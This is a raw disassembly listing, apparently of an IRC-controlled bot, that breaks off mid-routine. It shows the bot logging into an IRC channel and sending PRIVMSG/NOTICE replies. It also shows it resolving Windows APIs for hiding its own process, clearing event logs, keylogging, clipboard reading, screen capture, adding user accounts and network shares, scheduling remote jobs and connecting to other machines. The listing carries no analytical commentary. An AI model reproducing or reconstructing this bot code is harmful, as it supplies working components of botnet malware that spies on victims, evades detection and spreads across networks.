loc_409788: ; CODE XREF: sub_401ACD+7CA8j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_E04]
push 7Fh
push eax
push esi
call sub_41BFD0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4097BF
push ebx
push [ebp+var_4]
push offset unk_429B54
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4097BF: ; CODE XREF: sub_401ACD+7CD6j
lea eax, [ebp+var_C4]
push eax
push offset unk_429B34
loc_4097CB: ; CODE XREF: sub_401ACD+595j
; sub_401ACD+2889j ...
call sub_415DAC
loc_4097D0: ; CODE XREF: sub_401ACD+1B81j
pop ecx
loc_4097D1: ; CODE XREF: sub_401ACD+24FDj
pop ecx
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_4097D7: ; CODE XREF: sub_401ACD+20Ej
; sub_401ACD+223j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push offset aXI ; "-x+i"
push [ebp+arg_10]
push offset aModeSS_0 ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
mov dword_4CB884, edi
jmp loc_401D6A
sub_401ACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409823 proc near ; CODE XREF: sub_401955:loc_401992p
; sub_401ACD+1CBp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41CB70
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
leave
retn
sub_409823 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409869 proc near ; CODE XREF: sub_401ACD+506p
; sub_401ACD+134Ep ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_409884
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_409884: ; CODE XREF: sub_409869+14j
push edi
call sub_41B9C0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_41B9C0
pop ecx
sub esi, eax
pop ecx
lea eax, [ebp+var_400]
push [ebp+arg_8]
push offset aS_8 ; "%s"
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS_1 ; "%s %s :%s\r\n"
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_409907
push 7D0h
call ds:dword_427080 ; Sleep
locret_409907: ; CODE XREF: sub_409869+91j
leave
retn
sub_409869 endp
; =============== S U B R O U T I N E =======================================
sub_409909 proc near ; CODE XREF: sub_401221+4Bp
push ebx
push ebp
mov ebp, ds:dword_4270A4
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, ds:dword_4270C4
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_409A29
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; GetProcAddress
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4CBA80, eax
call esi ; GetProcAddress
push offset aProcess32first ; "Process32First"
push edi
mov dword_4CB9F4, eax
call esi ; GetProcAddress
push offset aProcess32next ; "Process32Next"
push edi
mov dword_4CB9D8, eax
call esi ; GetProcAddress
push offset aModule32first ; "Module32First"
push edi
mov dword_4CB8E8, eax
call esi ; GetProcAddress
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_4CB894, eax
call esi ; GetProcAddress
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4CB8C4, eax
call esi ; GetProcAddress
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4CB93C, eax
call esi ; GetProcAddress
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_4CBA34, eax
call esi ; GetProcAddress
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_4CBA90, eax
call esi ; GetProcAddress
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4CB8F4, eax
call esi ; GetProcAddress
cmp dword_4CBA80, ebx
mov dword_4CB8DC, eax
jz short loc_409A07
cmp dword_4CB9F4, ebx
jz short loc_409A07
cmp dword_4CB9D8, ebx
jz short loc_409A07
cmp dword_4CB8E8, ebx
jz short loc_409A07
cmp dword_4CB8C4, ebx
jz short loc_409A07
cmp dword_4CB93C, ebx
jz short loc_409A07
cmp dword_4CBA34, ebx
jz short loc_409A07
cmp dword_4CBA90, ebx
jz short loc_409A07
cmp dword_4CB8F4, ebx
jz short loc_409A07
cmp eax, ebx
jnz short loc_409A11
loc_409A07: ; CODE XREF: sub_409909+B8j
; sub_409909+C0j ...
mov dword_4CBA94, 1
loc_409A11: ; CODE XREF: sub_409909+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_4CBA0C, eax
jz short loc_409A3E
push 1
push ebx
call eax
jmp short loc_409A3E
; ---------------------------------------------------------------------------
loc_409A29: ; CODE XREF: sub_409909+1Dj
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBA98, eax
mov dword_4CBA94, 1
loc_409A3E: ; CODE XREF: sub_409909+117j
; sub_409909+11Ej
push offset aUser32_dll ; "user32.dll"
call ds:dword_4270C0 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_409B53
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; GetProcAddress
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4CBA30, eax
call esi ; GetProcAddress
push offset aIswindow ; "IsWindow"
push edi
mov dword_4CB9E0, eax
call esi ; GetProcAddress
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_4CB974, eax
call esi ; GetProcAddress
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4CBA84, eax
call esi ; GetProcAddress
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_4CB9A4, eax
call esi ; GetProcAddress
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_4CB9C4, eax
call esi ; GetProcAddress
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_4CBA28, eax
call esi ; GetProcAddress
cmp dword_4CBA30, ebx
mov dword_4CB914, eax
jz short loc_409AF7
cmp dword_4CB9E0, ebx
jz short loc_409AF7
cmp dword_4CB974, ebx
jz short loc_409AF7
cmp dword_4CBA84, ebx
jz short loc_409AF7
cmp dword_4CB9A4, ebx
jz short loc_409AF7
cmp dword_4CB9C4, ebx
jz short loc_409AF7
cmp dword_4CBA28, ebx
jz short loc_409AF7
cmp eax, ebx
jnz short loc_409B01
loc_409AF7: ; CODE XREF: sub_409909+1B8j
; sub_409909+1C0j ...
mov dword_4CBA9C, 1
loc_409B01: ; CODE XREF: sub_409909+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi ; GetProcAddress
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_4CB9A0, eax
call esi ; GetProcAddress
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_4CB8A8, eax
call esi ; GetProcAddress
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_4CB970, eax
call esi ; GetProcAddress
cmp dword_4CB9A0, ebx
mov dword_4CB958, eax
jz short loc_409B5E
cmp dword_4CB8A8, ebx
jz short loc_409B5E
cmp dword_4CB970, ebx
jz short loc_409B5E
cmp eax, ebx
jnz short loc_409B68
jmp short loc_409B5E
; ---------------------------------------------------------------------------
loc_409B53: ; CODE XREF: sub_409909+144j
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAA0, eax
loc_409B5E: ; CODE XREF: sub_409909+232j
; sub_409909+23Aj ...
mov dword_4CBA9C, 1
loc_409B68: ; CODE XREF: sub_409909+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_409D21
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; GetProcAddress
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_4CBA44, eax
call esi ; GetProcAddress
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_4CB988, eax
call esi ; GetProcAddress
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4CB9F8, eax
call esi ; GetProcAddress
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4CB8D4, eax
call esi ; GetProcAddress
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_4CB938, eax
call esi ; GetProcAddress
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_4CB9B0, eax
call esi ; GetProcAddress
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_4CB954, eax
call esi ; GetProcAddress
cmp dword_4CBA44, ebx
mov dword_4CB964, eax
jz short loc_409C11
cmp dword_4CB988, ebx
jz short loc_409C11
cmp dword_4CB9F8, ebx
jz short loc_409C11
cmp dword_4CB8D4, ebx
jz short loc_409C11
cmp dword_4CB938, ebx
jz short loc_409C11
cmp dword_4CB9B0, ebx
jnz short loc_409C1B
loc_409C11: ; CODE XREF: sub_409909+2DEj
; sub_409909+2E6j ...
mov dword_4CBAA4, 1
loc_409C1B: ; CODE XREF: sub_409909+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; GetProcAddress
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_4CB9B8, eax
call esi ; GetProcAddress
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_4CB990, eax
call esi ; GetProcAddress
cmp dword_4CB9B8, ebx
mov dword_4CBA40, eax
jz short loc_409C56
cmp dword_4CB990, ebx
jz short loc_409C56
cmp eax, ebx
jnz short loc_409C60
loc_409C56: ; CODE XREF: sub_409909+33Fj
; sub_409909+347j
mov dword_4CBAA4, 1
loc_409C60: ; CODE XREF: sub_409909+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; GetProcAddress
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4CB9C8, eax
call esi ; GetProcAddress
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4CB8B0, eax
call esi ; GetProcAddress
push offset aControlservice ; "ControlService"
push edi
mov dword_4CB8B8, eax
call esi ; GetProcAddress
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_4CB91C, eax
call esi ; GetProcAddress
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_4CB920, eax
call esi ; GetProcAddress
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4CB8CC, eax
call esi ; GetProcAddress
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_4CB994, eax
call esi ; GetProcAddress
cmp dword_4CB9C8, ebx
mov dword_4CB8BC, eax
jz short loc_409D04
cmp dword_4CB8B0, ebx
jz short loc_409D04
cmp dword_4CB8B8, ebx
jz short loc_409D04
cmp dword_4CB91C, ebx
jz short loc_409D04
cmp dword_4CB920, ebx
jz short loc_409D04
cmp dword_4CB8CC, ebx
jz short loc_409D04
cmp dword_4CB994, ebx
jz short loc_409D04
cmp eax, ebx
jnz short loc_409D0E
loc_409D04: ; CODE XREF: sub_409909+3C5j
; sub_409909+3CDj ...
mov dword_4CBAA4, 1
loc_409D0E: ; CODE XREF: sub_409909+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_4CB8B4, eax
jnz short loc_409D36
jmp short loc_409D2C
; ---------------------------------------------------------------------------
loc_409D21: ; CODE XREF: sub_409909+26Aj
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAA8, eax
loc_409D2C: ; CODE XREF: sub_409909+416j
mov dword_4CBAA4, 1
loc_409D36: ; CODE XREF: sub_409909+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_409E02
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; GetProcAddress
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_4CB9C0, eax
call esi ; GetProcAddress
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_4CBA18, eax
call esi ; GetProcAddress
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_4CBA20, eax
call esi ; GetProcAddress
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_4CB9DC, eax
call esi ; GetProcAddress
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4CB8F8, eax
call esi ; GetProcAddress
push offset aBitblt ; "BitBlt"
push edi
mov dword_4CB8A4, eax
call esi ; GetProcAddress
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_4CBA1C, eax
call esi ; GetProcAddress
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_4CB890, eax
call esi ; GetProcAddress
cmp dword_4CB9C0, ebx
mov dword_4CB930, eax
jz short loc_409E0D
cmp dword_4CBA18, ebx
jz short loc_409E0D
cmp dword_4CBA20, ebx
jz short loc_409E0D
cmp dword_4CB9DC, ebx
jz short loc_409E0D
cmp dword_4CB8F8, ebx
jz short loc_409E0D
cmp dword_4CB8A4, ebx
jz short loc_409E0D
cmp dword_4CBA1C, ebx
jz short loc_409E0D
cmp dword_4CB890, ebx
jz short loc_409E0D
cmp eax, ebx
jnz short loc_409E17
jmp short loc_409E0D
; ---------------------------------------------------------------------------
loc_409E02: ; CODE XREF: sub_409909+438j
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAB0, eax
loc_409E0D: ; CODE XREF: sub_409909+4B9j
; sub_409909+4C1j ...
mov dword_4CBAAC, 1
loc_409E17: ; CODE XREF: sub_409909+4F5j
mov ebp, ds:dword_4270C0
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A0D3
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; GetProcAddress
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_4CB944, eax
call esi ; GetProcAddress
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_4CBA78, eax
call esi ; GetProcAddress
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4CB8E4, eax
call esi ; GetProcAddress
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4CB8C0, eax
call esi ; GetProcAddress
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4CB980, eax
call esi ; GetProcAddress
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4CB968, eax
call esi ; GetProcAddress
push offset aSocket ; "socket"
push edi
mov dword_4CB92C, eax
call esi ; GetProcAddress
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_4CBA54, eax
call esi ; GetProcAddress
push offset aConnect ; "connect"
push edi
mov dword_4CBA70, eax
call esi ; GetProcAddress
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4CB97C, eax
call esi ; GetProcAddress
push offset aInet_addr ; "inet_addr"
push edi
mov dword_4CBA60, eax
call esi ; GetProcAddress
push offset aHtons ; "htons"
push edi
mov dword_4CBA14, eax
call esi ; GetProcAddress
push offset aHtonl ; "htonl"
push edi
mov dword_4CB9D4, eax
call esi ; GetProcAddress
push offset aNtohs ; "ntohs"
push edi
mov dword_4CB9D0, eax
call esi ; GetProcAddress
push offset aNtohl ; "ntohl"
push edi
mov dword_4CB904, eax
call esi ; GetProcAddress
push offset aSend_0 ; "send"
push edi
mov dword_4CB8FC, eax
call esi ; GetProcAddress
push offset aSendto ; "sendto"
push edi
mov dword_4CBA24, eax
call esi ; GetProcAddress
push offset aRecv ; "recv"
push edi
mov dword_4CBA38, eax
call esi ; GetProcAddress
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_4CB9EC, eax
call esi ; GetProcAddress
mov dword_4CB9AC, eax
push offset aBind ; "bind"
push edi
call esi ; GetProcAddress
push offset aSelect ; "select"
push edi
mov dword_4CBA00, eax
call esi ; GetProcAddress
push offset aListen ; "listen"
push edi
mov dword_4CB9BC, eax
call esi ; GetProcAddress
push offset aAccept ; "accept"
push edi
mov dword_4CB9FC, eax
call esi ; GetProcAddress
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4CBA68, eax
call esi ; GetProcAddress
push offset aGetsockname ; "getsockname"
push edi
mov dword_4CB9B4, eax
call esi ; GetProcAddress
push offset aGethostname ; "gethostname"
push edi
mov dword_4CB978, eax
call esi ; GetProcAddress
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_4CB9E8, eax
call esi ; GetProcAddress
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_4CBA58, eax
call esi ; GetProcAddress
push offset aGetpeername ; "getpeername"
push edi
mov dword_4CB98C, eax
call esi ; GetProcAddress
push offset aClosesocket ; "closesocket"
push edi
mov dword_4CB928, eax
call esi ; GetProcAddress
cmp dword_4CB944, ebx
mov dword_4CBA6C, eax
jz loc_40A0DE
cmp dword_4CBA78, ebx
jz loc_40A0DE
cmp dword_4CB8E4, ebx
jz loc_40A0DE
cmp dword_4CB980, ebx
jz loc_40A0DE
cmp dword_4CB968, ebx
jz loc_40A0DE
cmp dword_4CB92C, ebx
jz loc_40A0DE
cmp dword_4CBA54, ebx
jz loc_40A0DE
cmp dword_4CBA70, ebx
jz loc_40A0DE
cmp dword_4CB97C, ebx
jz loc_40A0DE
cmp dword_4CBA60, ebx
jz loc_40A0DE
cmp dword_4CBA14, ebx
jz loc_40A0DE
cmp dword_4CB9D4, ebx
jz loc_40A0DE
cmp dword_4CB9D0, ebx
jz loc_40A0DE
cmp dword_4CB904, ebx
jz short loc_40A0DE
cmp dword_4CBA24, ebx
jz short loc_40A0DE
cmp dword_4CBA38, ebx
jz short loc_40A0DE
cmp dword_4CB9EC, ebx
jz short loc_40A0DE
cmp dword_4CB9AC, ebx
jz short loc_40A0DE
cmp dword_4CBA00, ebx
jz short loc_40A0DE
cmp dword_4CB9BC, ebx
jz short loc_40A0DE
cmp dword_4CB9FC, ebx
jz short loc_40A0DE
cmp dword_4CBA68, ebx
jz short loc_40A0DE
cmp dword_4CB9B4, ebx
jz short loc_40A0DE
cmp dword_4CB978, ebx
jz short loc_40A0DE
cmp dword_4CB9E8, ebx
jz short loc_40A0DE
cmp dword_4CBA58, ebx
jz short loc_40A0DE
cmp dword_4CB98C, ebx
jz short loc_40A0DE
cmp eax, ebx
jnz short loc_40A0E8
jmp short loc_40A0DE
; ---------------------------------------------------------------------------
loc_40A0D3: ; CODE XREF: sub_409909+51Fj
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAB8, eax
loc_40A0DE: ; CODE XREF: sub_409909+6BEj
; sub_409909+6CAj ...
mov dword_4CBAB4, 1
loc_40A0E8: ; CODE XREF: sub_409909+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A1ED
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; GetProcAddress
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_4CB910, eax
call esi ; GetProcAddress
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_4CB898, eax
call esi ; GetProcAddress
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_4CB99C, eax
call esi ; GetProcAddress
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_4CB948, eax
call esi ; GetProcAddress
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_4CB9A8, eax
call esi ; GetProcAddress
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_4CB96C, eax
call esi ; GetProcAddress
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4CB8D8, eax
call esi ; GetProcAddress
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4CB8D0, eax
call esi ; GetProcAddress
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4CB8E0, eax
call esi ; GetProcAddress
cmp dword_4CB910, ebx
mov ecx, dword_4CB96C
mov dword_4CBA08, eax
jz short loc_40A1C9
cmp dword_4CB898, ebx
jz short loc_40A1C9
cmp dword_4CB99C, ebx
jz short loc_40A1C9
cmp dword_4CB948, ebx
jz short loc_40A1C9
cmp dword_4CB9A8, ebx
jz short loc_40A1C9
cmp ecx, ebx
jz short loc_40A1C9
cmp dword_4CB8D8, ebx
jz short loc_40A1C9
cmp dword_4CB8D0, ebx
jz short loc_40A1C9
cmp dword_4CB8E0, ebx
jz short loc_40A1C9
cmp eax, ebx
jnz short loc_40A1D3
loc_40A1C9: ; CODE XREF: sub_409909+87Ej
; sub_409909+886j ...
mov dword_4CBABC, 1
loc_40A1D3: ; CODE XREF: sub_409909+8BEj
cmp ecx, ebx
jz short loc_40A208
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov dword_4CB984, eax
jnz short loc_40A208
jmp short loc_40A202
; ---------------------------------------------------------------------------
loc_40A1ED: ; CODE XREF: sub_409909+7EAj
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAC0, eax
mov dword_4CBABC, 1
loc_40A202: ; CODE XREF: sub_409909+8E2j
mov dword_4CB984, ebx
loc_40A208: ; CODE XREF: sub_409909+8CCj
; sub_409909+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A252
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; GetProcAddress
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_4CB95C, eax
call esi ; GetProcAddress
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_4CBA8C, eax
call esi ; GetProcAddress
cmp dword_4CB95C, ebx
mov dword_4CB8EC, eax
jz short loc_40A25D
cmp dword_4CBA8C, ebx
jz short loc_40A25D
cmp eax, ebx
jnz short loc_40A267
jmp short loc_40A25D
; ---------------------------------------------------------------------------
loc_40A252: ; CODE XREF: sub_409909+90Aj
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAC8, eax
loc_40A25D: ; CODE XREF: sub_409909+939j
; sub_409909+941j ...
mov dword_4CBAC4, 1
loc_40A267: ; CODE XREF: sub_409909+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A36E
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; GetProcAddress
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4CB8C8, eax
call esi ; GetProcAddress
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_4CB8A0, eax
call esi ; GetProcAddress
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_4CB918, eax
call esi ; GetProcAddress
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4CB94C, eax
call esi ; GetProcAddress
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_4CBA64, eax
call esi ; GetProcAddress
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_4CB900, eax
call esi ; GetProcAddress
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4CB8AC, eax
call esi ; GetProcAddress
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_4CB89C, eax
call esi ; GetProcAddress
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4CB934, eax
call esi ; GetProcAddress
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4CBA2C, eax
call esi ; GetProcAddress
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_4CB9E4, eax
call esi ; GetProcAddress
cmp dword_4CB8C8, ebx
mov dword_4CB908, eax
jz short loc_40A379
cmp dword_4CB8A0, ebx
jz short loc_40A379
cmp dword_4CB918, ebx
jz short loc_40A379
cmp dword_4CB94C, ebx
jz short loc_40A379
cmp dword_4CBA64, ebx
jz short loc_40A379
cmp dword_4CB900, ebx
jz short loc_40A379
cmp dword_4CB8AC, ebx
jz short loc_40A379
cmp dword_4CB89C, ebx
jz short loc_40A379
cmp dword_4CB934, ebx
jz short loc_40A379
cmp dword_4CBA2C, ebx
jz short loc_40A379
cmp dword_4CB9E4, ebx
jnz short loc_40A383
jmp short loc_40A379
; ---------------------------------------------------------------------------
loc_40A36E: ; CODE XREF: sub_409909+969j
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAD0, eax
loc_40A379: ; CODE XREF: sub_409909+A11j
; sub_409909+A19j ...
mov dword_4CBACC, 1
loc_40A383: ; CODE XREF: sub_409909+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A3B8
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; GetProcAddress
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4CB8F0, eax
call esi ; GetProcAddress
cmp dword_4CB8F0, ebx
mov dword_4CB9CC, eax
jz short loc_40A3C3
cmp eax, ebx
jnz short loc_40A3CD
jmp short loc_40A3C3
; ---------------------------------------------------------------------------
loc_40A3B8: ; CODE XREF: sub_409909+A85j
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAD8, eax
loc_40A3C3: ; CODE XREF: sub_409909+AA7j
; sub_409909+AADj
mov dword_4CBAD4, 1
loc_40A3CD: ; CODE XREF: sub_409909+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A402
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; GetProcAddress
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_4CBA50, eax
call esi ; GetProcAddress
cmp dword_4CBA50, ebx
mov dword_4CBA4C, eax
jz short loc_40A40D
cmp eax, ebx
jnz short loc_40A417
jmp short loc_40A40D
; ---------------------------------------------------------------------------
loc_40A402: ; CODE XREF: sub_409909+ACFj
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAE0, eax
loc_40A40D: ; CODE XREF: sub_409909+AF1j
; sub_409909+AF7j
mov dword_4CBADC, 1
loc_40A417: ; CODE XREF: sub_409909+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A476
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; GetProcAddress
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4CBA7C, eax
call esi ; GetProcAddress
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_4CBA74, eax
call esi ; GetProcAddress
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4CBA3C, eax
call esi ; GetProcAddress
cmp dword_4CBA7C, ebx
mov dword_4CB90C, eax
jz short loc_40A481
cmp dword_4CBA74, ebx
jz short loc_40A481
cmp dword_4CBA3C, ebx
jz short loc_40A481
cmp eax, ebx
jnz short loc_40A48B
jmp short loc_40A481
; ---------------------------------------------------------------------------
loc_40A476: ; CODE XREF: sub_409909+B19j
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAE8, eax
loc_40A481: ; CODE XREF: sub_409909+B55j
; sub_409909+B5Dj ...
mov dword_4CBAE4, 1
loc_40A48B: ; CODE XREF: sub_409909+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A4C0
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; GetProcAddress
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_4CB940, eax
call esi ; GetProcAddress
cmp dword_4CB940, ebx
mov dword_4CBA48, eax
jz short loc_40A4CB
cmp eax, ebx
jnz short loc_40A4D5
jmp short loc_40A4CB
; ---------------------------------------------------------------------------
loc_40A4C0: ; CODE XREF: sub_409909+B8Dj
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAF0, eax
loc_40A4CB: ; CODE XREF: sub_409909+BAFj
; sub_409909+BB5j
mov dword_4CBAEC, 1
loc_40A4D5: ; CODE XREF: sub_409909+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A55E
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; GetProcAddress
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
